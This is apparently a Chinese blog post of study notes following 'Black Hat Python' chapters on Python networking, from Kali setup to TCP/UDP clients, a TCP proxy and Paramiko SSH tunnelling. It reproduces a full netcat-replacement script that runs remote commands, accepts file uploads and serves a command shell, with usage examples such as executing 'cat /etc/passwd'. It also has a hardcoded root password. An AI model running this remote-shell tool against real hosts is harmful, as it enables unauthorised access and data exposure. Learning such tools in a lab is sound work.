第一章设置Python环境
kali虚拟机
开始用pip安装github3.py,没什么问题
跟着安装WingIDE,下载linux对应位数的版本的deb,就行了,但是产生了依赖
于是修改软件源APT-sources.list vim /etc/apt/sources.list 将原来的注释掉,加了个阿里的 #阿里云kali源 deb http://mirrors.aliyun.com/kali sana main non-free contrib deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free 再 apt-get update & apt-get upgrade apt-get -f install 最后再安装deb文件就行了,命令如上面截图 因为wingide收费版才有自动补全,那就用有现成序列号的pycharm4.5吧~~,没补全真难受 第二章 网络基础TCP客户端
可以看到百度返回的HTTP响应啦UDP客户端
首先先用nc监听一下9999端口,-u就是udp模式的啦,哈哈发过去了,最后打印出了ip和端口,nc没发数据过来,可能就没收到数据咯 现在就可以比较一下tcp和udp的区别了,最核心的是udp不用连接,因为是无状态的协议 发送和接受的函数也是有区别的,通过实验发现recv和recvfrom的参数是接收几个字符的意思TCP服务器
#-*- coding:utf8 -*-
importsocket
importthreading
bind_ip ="0.0.0.0"#绑定ip:这里代表任何ip地址
bind_port =8888
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
# 最大连接数为5
server.listen(5)
print"[*] Listening on %s:%d"% (bind_ip, bind_port)
# 这是客户处理进程
defhandle_client(client_socket):
#打印出客户端发送得到的内容
request = client_socket.recv(1024)
print"[*] Received: %s"% request
#发送一个数据包
client_socket.send("ACK!")
client_socket.close()
whileTrue:
client,addr = server.accept()
print"[*] Accepted connection from: %s:%d"% (addr[0], addr[1])
#挂起客户端线程,处理传人的数据
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
用之前的tcp客户端连接,收到信息了
同时,服务端也收到了客户端发来的信息 取代netcat代码:
[python]view plaincopy
#!/usr/bin/python
#-*- coding:utf8 -*-
importsys
importsocket
importgetopt
importthreading
importsubprocess
# 定义一些全局变量
listen =False
command =False
upload =False
execute = ""
target = ""
upload_destination = ""
port =0
defrun_command(command):
# 删除字符串末尾的空格
command = command.rstrip()
# 运行命令并将输出放回
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output ="Failed to execute command.\r\n"
# 将输出发送
returnoutput
defclient_handler(client_socket):
globalupload
globalexecute
globalcommand
# 检查上传文件
iflen(upload_destination):
# 读取所有的字符并写下目标
file_buffer = ""
# 持续读取数据直到没有符合的数据
whileTrue:
data = client_socket.recv(1024)
ifnotdata:
break
else:
file_buffer += data
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("Successfully saved file to %s\r\n"% upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n"% upload_destination)
# 检查命令执行
iflen(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output)
# 如果需要一个命令行shell,那么我们进入另一个循环
ifcommand:
whileTrue:
# 跳出一个窗口
client_socket.send("")
cmd_buffer = ""
while"\n"notincmd_buffer:
cmd_buffer += client_socket.recv(1024)
# 返回命令输出
response = run_command(cmd_buffer)
# 返回响应数据
client_socket.send(response)
defserver_loop():
globaltarget
# 如果没有定义目标,那我们监听所有接口
ifnotlen(target):
target ="0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
whileTrue:
client_socket, addr = server.accept()
# 分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
defclient_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 连接到目标主机
client.connect((target, port))
iflen(buffer):
client.send(buffer)
whileTrue:
# 现在等待数据回传
recv_len =1
response = ""
whilerecv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
ifrecv_len <4096:
break
printresponse
# 等待更多的输入
buffer = raw_input("")
buffer +="\n"
# 发送出去
client.send(buffer)
except:
print"[*] Exception! Exiting."
#关闭连接
client.close()
defusage():
print"BHP Net Tool"
print"Usage: bhpnet.py -t target_host - p port"
print"-l --listen - listen on [host]:[port] for incoming connections"
print"-e --execute=file_to_run -execute the given file upon receiving a connection"
print"-c --command - initialize a commandshell"
print"-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print"Examples:"
print"bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print"bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print"bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print"echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
defmain():
globallisten
globalport
globalexecute
globalcommand
globalupload_destination
globaltarget
ifnotlen(sys.argv[1:]):
usage()
# 读取命令行选项,若没有该选项则显示用法
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
exceptgetopt.GetoptError as err:
printstr(err)
usage()
foro,ainopts:
ifoin("-h","--help"):
usage()
elifoin("-l","--listen"):
listen =True
elifoin("-e","--execute"):
execute = a
elifoin("-c","--commandshell"):
command =True
elifoin("-u","--upload"):
upload_destination = a
elifoin("-t","--target"):
target = a
elifoin("-p","--port"):
port = int(a)
else:
assertFalse,"Unhandled Option"
#我们是进行监听还是仅从标准输入读取数据并发送数据?
ifnotlistenandlen(target)andport >0:
# 从命令行读取内存数据
# 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
buffer = sys.stdin.read()
# 发送数据
client_sender(buffer)
# 我们开始监听并准备上传文件,执行命令
# 放置一个反弹shell
# 取决于上面的命令行选项
iflisten:
server_loop()
#调用main函数
main()
一开始没在前头打python,默认是不是用python解析运行的,所以会出错,kali就会变成截图了
下面的客户端连接时,连接后要按CTRL+D让其返回shell
如果你不想每次都打python才能运行,就在第一行加入#!/usr/bin/python(如果python默认安装在那个目录的话) 创建一个TCP代理用法: ./文件名.py [localhost] [localport] [remotehost] [remoteport] [receive_first] //最后一个参数是 是否从远程服务器(主机)接收数据
设置完代理,再打开百度,我们在下图可看到GET请求的全部内容,这确实比我们直接访问百度多了一跳。 过程如下: 浏览器将GET请求发送给本地的80端口,又我们的程序监听的是本地的80端口,就会将GET请求发送给远程主机(即我们开启程序时设置的www.baidu.com的80端口),最后再将www.baidu.com返回的数据给回程序,再给回浏览器(那为什么我们访问其他网址或ip不能呢,就是你发送的GET请求给www.baidu.com他会返回你要的网址的内容给你么,那当然不会,所以就只能访问百度域名下的各种目录) 还有返回的响应数据,其实我觉得这好像在抓包了 通过Paramiko使用SSH首先安装paramiko模块,还是去了点小问题,好像是安装过了吧,要我升级一下?
代码(这里也是可以用密钥认证来登陆的,这里就注释掉了) 可以看到跟我直接用xshell 连接自己的树莓派执行的结果是一致的 反向ssh为了适应非默认端口,改了一下作者的客户端代码,修改处已圈出
可能是什么权限什么的,认证成功,最后连接不成功 在kali测试还是一样~~,有谁告诉我原因,我只有那个私钥和作者不一样啊~~~ 2017.06.03更新: 感谢largewave用户指出: 在下面的Server类中的check_channel_request函数应该return paramiko.OPEN_SUCCEEDED 而不是paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITEDclass Server(paramiko.ServerInterface):
def __init__(self):
self.event=threading.Event()
def check_channel_request(self, kind, chanid):
ifkind== 'session':
return paramiko.OPEN_SUCCEEDED
def check_auth_password(self, username, password):
if (username== 'root') and (password== 'lovepython'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
这样即可认证成功,但之后执行命令又出现问题了,
报错如下:
paramiko.ssh_exception.SSHException: Channel closed.
知道的可以继续留言,感谢各位的交流和学习,虽然好久没搞web 了
ssh隧道
建议看一下这篇文章,你会对ssh隧道的理解更直观,我的理解简单来说就是一条管道,其实别人说隧道也觉得差不多啦
http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
在本地用locate命令找不到paramiko的示例文件rforward.py,最终通过谷歌终于找到了,原来在github上:https://github.com/paramiko/paramiko/tree/master/demos,之前那个test_rsa.key文件也在上面了
一开始将我的树莓派(192.168.88.102)作为ssh客户端,端口为5556,,与kali(10.10.10.145:6666)建立一个反向ssh隧道 在服务端kaili执行 跟着kali端 但在树莓派执行并不能连接,出错了(说是拒绝),详见下图最后一行
于是就尝试kali的22端口python rforward.py192.168.88.102-p5556-r10.10.10.145:22--user pi --password
可以看到成功了,而且隧道建立后树莓派那边(客户端)的127.0.0.1:5556处于监听状态,我们发送到本地5556的请求会转发到10.10.10.145的22端口啦~~ 第三章 网络:原始套接字和流量嗅探Windows和Linux上的包嗅探
更新中........
网友评论